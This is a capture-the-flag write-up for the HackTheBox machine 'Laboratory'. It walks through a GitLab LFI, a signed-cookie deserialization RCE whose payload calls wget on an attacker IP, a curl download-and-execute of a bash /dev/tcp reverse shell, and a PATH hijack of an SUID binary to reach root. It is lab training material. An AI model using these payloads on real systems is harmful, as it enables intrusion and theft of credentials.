HTB: Laboratory

Posted on 16 May 2021 in security • 5 min read

Laboratory Card

This is a writeup about a retired HacktheBox machine: Laboratory publish on November 14, 2020 by 0xc45. This box is rated as an easy box. It implies mostly gitlab and a LFI vulnerability and an SUID binary.

Foothold

Recon

Let us start as always by a nmap scan. Only port 22 (SSH), 80 and 443 (HTTP and HTTPS) are open.

# Nmap 7.91 scan initiated Thu Nov 26 09:49:27 2020 as: nmap -p- -sSV -oN nmap 10.129.47.132
Nmap scan report for 10.129.47.132
Host is up (0.012s latency).
Not shown: 65532 filtered ports
PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
80/tcp  open  http     Apache httpd 2.4.41
443/tcp open  ssl/http Apache httpd 2.4.41 ((Ubuntu))
Service Info: Host: laboratory.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Nov 26 09:51:28 2020 -- 1 IP address (1 host up) scanned in 120.73 seconds

Web

The website either access with on the port 80 or 443 redirected to https://laboratory.htb. So we add an entry to /etc/hosts. We trying to access it again we got a certificate error as its supposed to be for git.laboratory.htb

ssl certificat

Se we add another entry to our /etc/hosts and browse to it.

gitlab

This is a standard gitlab installation. We create an account and using the exploration function we found a public project that does not contains anything useful.

Looking at the help page we found that the version is GitLab Community Edition 12.8.1

While searching on Google we found a bug bounty report for this specific version that disclosed a LFI and a RCE.

LFI

In order to execute the code on the gitlab server we first need to use the LFI to get secrets.yml

So as described in the bug bounty report we create two projects, one with an issue description containing the following link and we move it to the second project.

![a](/uploads/11111111111111111111111111111111/../../../../../../../../../../../../../../opt/gitlab/embedded/service/gitlab-rails/config/secrets.yml)

That allow us to get the file content.

# This file is managed by gitlab-ctl. Manual changes will be
# erased! To change the contents below, edit /etc/gitlab/gitlab.rb
# and run `sudo gitlab-ctl reconfigure`.

---
production:
  db_key_base: 627773a77f567a5853a5c6652018f3f6e41d04aa53ed1e0df33c66b04ef0c38b88f402e0e73ba7676e93f1e54e425f74d59528fb35b170a1b9d5ce620bc11838
  secret_key_base: 3231f54b33e0c1ce998113c083528460153b19542a70173b4458a21e845ffa33cc45ca7486fc8ebb6b2727cc02feea4c3adbe2cc7b65003510e4031e164137b3
  otp_key_base: db3432d6fa4c43e68bf7024f3c92fea4eeea1f6be1e6ebd6bb6e40e930f0933068810311dc9f0ec78196faa69e0aac01171d62f4e225d61e0b84263903fd06af
  openid_connect_signing_key: |
    -----BEGIN RSA PRIVATE KEY-----
    MIIJKQIBAAKCAgEA5LQnENotwu/SUAshZ9vacrnVeYXrYPJoxkaRc2Q3JpbRcZTu
    <SNIP>

We need a gitlabshell to create the cookie that will allow use to execute the code on the box. We also need the same version as the one on the box.

Using docker and some article we create a docker-compose.yml that looks as follow.

web:
  image: 'gitlab/gitlab-ce:12.8.1-ce.0'
  restart: always
  hostname: 'gitlab.hakase-labs.io'

  environment:
    GITLAB_OMNIBUS_CONFIG: |
      # Add any other gitlab.rb configuration here, each on its own line
      #external_url 'https://gitlab.hakase-labs.io'
      gitlab_rails['gitlab_shell_ssh_port'] = 2224
      #nginx['redirect_http_to_https'] = true
      #nginx['ssl_certificate'] = "/etc/gitlab/ssl/fullchain.pem"
      #nginx['ssl_certificate_key'] = "/etc/gitlab/ssl/privkey.pem"
      #nginx['ssl_dhparam'] = "/etc/gitlab/ssl/dhparams.pem"

  ports:
    - '80:80'
    - '443:443'
    - '2224:22'

  volumes:
    - '${GITLAB_HOME}/config:/etc/gitlab'
    - '${GITLAB_HOME}/logs:/var/log/gitlab'
    - '${GITLAB_HOME}/data:/var/opt/gitlab'
    - '${GITLAB_HOME}/config/ssl:/etc/gitlab/ssl'

RCE

We got a shell on out gitlab docker and overwrite /opt/gitlab/embedded/service/gitlab-rails/config/secrets.yml with the downloaded one. Then we use gitlab-rails console to reproduce the lines in the hackerone report to create a Marshalled payload within a cookie. Our first payload is a simple wget targeting our own python server.

request = ActionDispatch::Request.new(Rails.application.env_config)
request.env["action_dispatch.cookies_serializer"] = :marshal
cookies = request.cookie_jar
irb(main):014:0> erb = ERB.new("<%= `wget http://10.10.14.51:8000/p0wn` %>")
depr = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new(erb, :result, "@result", ActiveSupport::Deprecation.new)
cookies.signed[:cookie] = depr
puts cookies[:cookie]
BAhvOkBBY3RpdmVTdXBwb3J0OjpEZXByZWNhdGlvbjo6RGVwcmVjYXRlZEluc3RhbmNlVmFyaWFibGVQcm94eQk6DkBpbnN0YW5jZW86CEVSQgs6EEBzYWZlX2xldmVsMDoJQHNyY0kiYyNjb2Rpbmc6VVRGLTgKX2VyYm91dCA9ICsnJzsgX2VyYm91dC48PCgoIGB3Z2V0IGh0dHA6Ly8xMC4xMC4xNC41MTo4MDAwL3Awd25gICkudG9fcyk7IF9lcmJvdXQGOgZFRjoOQGVuY29kaW5nSXU6DUVuY29kaW5nClVURi04BjsKRjoTQGZyb3plbl9zdHJpbmcwOg5AZmlsZW5hbWUwOgxAbGluZW5vaQA6DEBtZXRob2Q6C3Jlc3VsdDoJQHZhckkiDEByZXN1bHQGOwpUOhBAZGVwcmVjYXRvckl1Oh9BY3RpdmVTdXBwb3J0OjpEZXByZWNhdGlvbgAGOwpU--e58cf8e3ef8e1b016de9b83cac7627d48ec17c45

We then use curl to send our request and got a hit on our web server.

curl -vvv -k 'https://git.laboratory.htb/users/sign_in' -b "experimentation_subject_id=BAhvOkBBY3RpdmVTdXBwb3J0OjpEZXByZWNhdGlvbjo6RGVwcmVjYXRlZEluc3RhbmNlVmFyaWFibGVQcm94eQk6DkBpbnN0YW5jZW86CEVSQgs6EEBzYWZlX2xldmVsMDoJQHNyY0kiYyNjb2Rpbmc6VVRGLTgKX2VyYm91dCA9ICsnJzsgX2VyYm91dC48PCgoIGB3Z2V0IGh0dHA6Ly8xMC4xMC4xNC41MTo4MDAwL3Awd25gICkudG9fcyk7IF9lcmJvdXQGOgZFRjoOQGVuY29kaW5nSXU6DUVuY29kaW5nClVURi04BjsKRjoTQGZyb3plbl9zdHJpbmcwOg5AZmlsZW5hbWUwOgxAbGluZW5vaQA6DEBtZXRob2Q6C3Jlc3VsdDoJQHZhckkiDEByZXN1bHQGOwpUOhBAZGVwcmVjYXRvckl1Oh9BY3RpdmVTdXBwb3J0OjpEZXByZWNhdGlvbgAGOwpU--e58cf8e3ef8e1b016de9b83cac7627d48ec17c45"

We then change our payload to download a "reverse shell" and execute it: curl http://10.10.14.51:8000/rev.sh -o /tmp/rev.sh && chmod 777 rev.sh && bash /tmp/rev.sh

The content of rev.sh is the following:

#!/bin/bash
bash -i >& /dev/tcp/10.10.14.51/4242 0>&1

Our netcat listener quickly catch a reverse shell as git.

Getting user

Using gitlab-rails console on the HTB machine and gitlab documentation about gitlab-rails cheatsheet and projects' permissions we change the visibility of every projects on the gitlab instance to public.

gitlab-rails console
--------------------------------------------------------------------------------
GitLab:       12.8.1 (d18b43a5f5a) FOSS
GitLab Shell: 11.0.0
PostgreSQL:   10.12
--------------------------------------------------------------------------------
Loading production environment (Rails 6.0.2)
Switch to inspect mode.
Project.update_all(visibility_level: 20)

That allow us to discover a securedocker project from the dexter user containing a SSH private key.

Using this key we can connect as dexter on the box and get the user flag.

$ ssh 10.129.60.56 -i id_rsa -ldexter
dexter@laboratory:~$ id
uid=1000(dexter) gid=1000(dexter) groups=1000(dexter)
dexter@laboratory:~$ cat user.txt
a153ecab9310723fa79e5dc37487ef68

Root

We start enumerating the box. We "quickly" found a suspect SUID binary docker-security.

dexter@laboratory:/tmp/.plop$ find / -perm -4000 -type f -exec ls -la {} 2>/dev/null \; | grep -v snap
-rwsr-xr-x 1 root dexter 16720 Aug 28 14:52 /usr/local/bin/docker-security
-rwsr-xr-x 1 root root 166056 Jul 15 00:17 /usr/bin/sudo
-rwsr-xr-x 1 root root 44784 May 28  2020 /usr/bin/newgrp
-rwsr-xr-x 1 root root 67816 Apr  2  2020 /usr/bin/su
-rwsr-xr-x 1 root root 88464 May 28  2020 /usr/bin/gpasswd
-rwsr-xr-x 1 root root 39144 Mar  7  2020 /usr/bin/fusermount
-rwsr-xr-x 1 root root 85064 May 28  2020 /usr/bin/chfn
-rwsr-xr-x 1 root root 31032 Aug 16  2019 /usr/bin/pkexec
-rwsr-sr-x 1 daemon daemon 55560 Nov 12  2018 /usr/bin/at
-rwsr-xr-x 1 root root 39144 Apr  2  2020 /usr/bin/umount
-rwsr-xr-x 1 root root 53040 May 28  2020 /usr/bin/chsh
-rwsr-xr-x 1 root root 55528 Apr  2  2020 /usr/bin/mount
-rwsr-xr-x 1 root root 68208 May 28  2020 /usr/bin/passwd
-rwsr-xr-x 1 root root 14488 Jul  8  2019 /usr/lib/eject/dmcrypt-get-device
-rwsr-xr-- 1 root messagebus 51344 Jun 11 18:22 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
-rwsr-xr-x 1 root root 22840 Aug 16  2019 /usr/lib/policykit-1/polkit-agent-helper-1
-rwsr-xr-x 1 root root 473576 May 29  2020 /usr/lib/openssh/ssh-keysign

We use ltrace to see what binaries are called by the SUID one. We identify that the binary use a relative path call to chmod.

dexter@laboratory:~$ ltrace docker-security
setuid(0)                                                                                                                                        = -1
setgid(0)                                                                                                                                        = -1
system("chmod 700 /usr/bin/docker"chmod: changing permissions of '/usr/bin/docker': Operation not permitted
<no return ...>
--- SIGCHLD (Child exited) ---
<... system resumed> )                                                                                                                           = 256
system("chmod 660 /var/run/docker.sock"chmod: changing permissions of '/var/run/docker.sock': Operation not permitted
<no return ...>
--- SIGCHLD (Child exited) ---
<... system resumed> )                                                                                                                           = 256
+++ exited (status 0) +++

So we simply create a new "chmod" program and add it to our path to get a root shell and grab the flag

dexter@laboratory:/tmp/.plop$ echo /bin/bash > chmod
dexter@laboratory:/tmp/.plop$ chmod +x chmod
dexter@laboratory:/tmp/.plop$ export PATH=./:$PATH
dexter@laboratory:/tmp/.plop$ echo $PATH
./:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/snap/bin
dexter@laboratory:/tmp/.plop$ docker-security
root@laboratory:/tmp/.plop# cat /root/root.txt
1b08ba51a612057b8aca9940e57fce77

Wrapping up

A really interesting box that allow us to play with a real vulnerability from a bug bounty report. Maybe more a medium than an easy box.